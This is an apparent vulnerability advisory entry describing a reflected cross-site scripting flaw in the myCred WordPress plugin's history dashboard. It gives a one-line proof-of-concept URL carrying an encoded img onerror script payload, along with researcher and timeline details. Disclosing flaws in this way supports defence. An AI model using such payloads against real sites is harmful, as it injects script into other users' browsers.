WordPress Plugin Vulnerabilities
myCred < 2.4 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the search query before outputting it back in the history dashboard page, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/users.php?page=mycred_default-history&s=%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Affects Plugins
Fixed in version 2.4.3.1
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-27 (about 9 months ago)
Added
2021-12-27 (about 9 months ago)
Last Updated
2022-04-09 (about 5 months ago)